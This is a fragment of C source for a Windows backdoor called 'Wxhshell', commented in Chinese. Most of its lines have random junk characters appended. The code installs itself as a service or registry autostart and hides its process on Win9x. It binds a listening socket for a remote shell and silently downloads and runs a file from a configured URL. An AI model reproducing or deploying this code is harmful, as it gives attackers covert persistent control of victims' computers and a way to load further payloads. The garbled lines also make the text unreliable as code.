ULONG InheritedFromUniqueProcessId; E 99hlY~1:
} PROCESS_BASIC_INFORMATION; $YxBE`)d-
M_v?9L
PROCNTQSIP NtQueryInformationProcess; j9Ybx#
^G&3sF}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ">f erhN9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &LO"g0w
aj8A8ma*}
HANDLE hProcess; +T/FeVQ
PROCESS_BASIC_INFORMATION pbi; :x.7vZzxs
"Z
Htr<+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :y*NM,s
if(NULL == hInst ) return 0; m>USD?i
>~%e$a7}+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +#U|skl
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dr)YzOvba
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); **9x?s
n0Y+b[+wj
if (!NtQueryInformationProcess) return 0; _Zk{!
NBl+_/2'w
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,.eWQK~
if(!hProcess) return 0; 1b=lpw1}
oSiMpQu08
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |4$M]M f0
`&\Q +W
CloseHandle(hProcess); T134ZXqqz
ojYbR<jn9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'z76Sa
if(hProcess==NULL) return 0; sn7AR88M;
f}g\D#`]/
HMODULE hMod; Lg8nj< TF
char procName[255]; *I}`dC[
unsigned long cbNeeded;
'iLpE7
db'/`JeK
b
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4XVCHs(
X%yO5c\l2
CloseHandle(hProcess); 8.F~k~srA
F,
U*yj
if(strstr(procName,"services")) return 1; // 以服务启动 @SCI"H%[
J>fQNW!{
return 0; // 注册表启动 mF` B#
} UOQEk22
+)JpUqHa
// 主模块 <: &*
int StartWxhshell(LPSTR lpCmdLine) a]Lp?
{ ga?*DI8w
SOCKET wsl; d%l{V6
BOOL val=TRUE; $kR N
h6
int port=0; OL4z%mDZi
struct sockaddr_in door; Y5fLmPza
{U&.D
[{&
if(wscfg.ws_autoins) Install(); vJAZ%aW
!9 fz(9
port=atoi(lpCmdLine);
:W b j\
IV\J3N^
if(port<=0) port=wscfg.ws_port; 2WUT/{:X
Uj&W<'I
WSADATA data; ]HpA5q1ck
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~?B;!Csk
'SQG>F Uy
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (sVi\R
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nUkaz*4qU
door.sin_family = AF_INET; !i=nSqW
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [M+f-kl
door.sin_port = htons(port); aF03a-qw<
cuOvN"nuNj
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %Uz(Vd#K
closesocket(wsl); =8U&[F
return 1; R<B7K?SxV~
} 7GDHz.IX
kdGT{2u
if(listen(wsl,2) == INVALID_SOCKET) { ^eW}XRI
closesocket(wsl); J\e+}{
return 1; JN7k 2]{
} c- .t>r&
Wxhshell(wsl); K~ ;45Z2
WSACleanup(); {Zp\^/
T#bu
V
return 0; ZvcJK4hi
g-Pwp[!qkf
} b!M"VDjQ
OyqNLR
// 以NT服务方式启动 fu~+8CE.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bn>8&w/P
{ ^ns@O+Fk
DWORD status = 0; eb*#'\~'
DWORD specificError = 0xfffffff; =y=cW1TG
|!y A@y?
serviceStatus.dwServiceType = SERVICE_WIN32; 4H@Wc^K
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |HZTN"
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pmX#E
serviceStatus.dwWin32ExitCode = 0; 9c JH"
serviceStatus.dwServiceSpecificExitCode = 0; 8i?l02
serviceStatus.dwCheckPoint = 0; .7n\d55a
serviceStatus.dwWaitHint = 0; *Vho?P6y\Y
y-CX}B#j
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4
B*0M
if (hServiceStatusHandle==0) return; &w=3^
xLx]_R()
status = GetLastError(); ([xo9FP ;
if (status!=NO_ERROR) p ;|jI1
{ < y*x]}
serviceStatus.dwCurrentState = SERVICE_STOPPED; m*mm\wN5
serviceStatus.dwCheckPoint = 0; |ae97 5
serviceStatus.dwWaitHint = 0; S4=R^];l
serviceStatus.dwWin32ExitCode = status; Q,80 Hor#J
serviceStatus.dwServiceSpecificExitCode = specificError; IgC}&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^{8Gt@
return; W\18{mbuy
} (ND4Q[*6
j;+?HbL
serviceStatus.dwCurrentState = SERVICE_RUNNING; }. z&P'
serviceStatus.dwCheckPoint = 0; [~&XL0
serviceStatus.dwWaitHint = 0; fHZTXvxoL
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n`4K4y%Dy}
} Znetzm=0
cW+t#>'r
// 处理NT服务事件,比如:启动、停止 ,K^4fL$C;3
VOID WINAPI NTServiceHandler(DWORD fdwControl) _D|^.)=U|
{ f
nI|
switch(fdwControl) bO<CR
{ F4e:ZExJ
case SERVICE_CONTROL_STOP:
TT-h;'nJ
serviceStatus.dwWin32ExitCode = 0; ApjOj/
serviceStatus.dwCurrentState = SERVICE_STOPPED; zq%D/H6J,
serviceStatus.dwCheckPoint = 0; R6=$u{D
serviceStatus.dwWaitHint = 0; ,\v91 Rp~?
{ &7_Qd4=08w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ja
,Cvt
} _!|/
;Nk
return; pJ
?~fp
case SERVICE_CONTROL_PAUSE: >"Q@bQ:e
serviceStatus.dwCurrentState = SERVICE_PAUSED; MCdx?m3]
break; p6vKoI#T
case SERVICE_CONTROL_CONTINUE: /y>>JxAEb
serviceStatus.dwCurrentState = SERVICE_RUNNING; pAk/Qxl3eo
break; D\e8,,H
case SERVICE_CONTROL_INTERROGATE: iPrLwheb
break; N:9>dpP}O
}; #]'rz,E<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); san,|yrMn
} B4]`-mahO
]~\sA
// 标准应用程序主函数 y9KB< yh/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LzCw+@-umw
{ JCW\ *R
kHqzt g
// 获取操作系统版本 %e@#uxm
OsIsNt=GetOsVer(); pT$f8xJ
GetModuleFileName(NULL,ExeFile,MAX_PATH); r
6Q Q
/6_|]ijc
// 从命令行安装 SvR7eC
if(strpbrk(lpCmdLine,"iI")) Install(); 5 QO34t2
'KPASfC
// 下载执行文件 a/< Csad
if(wscfg.ws_downexe) { f0T,ul,
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (<
=}]v
WinExec(wscfg.ws_filenam,SW_HIDE); 07hF2[i
} ~ Uo)0
]TaN{"
if(!OsIsNt) { K!KMQr`
// 如果时win9x,隐藏进程并且设置为注册表启动 7-BvFEM;
HideProc(); ]@Sj`J[fd
StartWxhshell(lpCmdLine); y7^{yS[,
} kQ
else Ldn8
if(StartFromService()) CXCpqcC
// 以服务方式启动 }=!,o
StartServiceCtrlDispatcher(DispatchTable); )7:J[0ZiQ
else o`.R!wm:W
// 普通方式启动 <`0h|m'U
StartWxhshell(lpCmdLine); i9=&;_z
$O^v]>h
return 0; 5 B=^v#m
}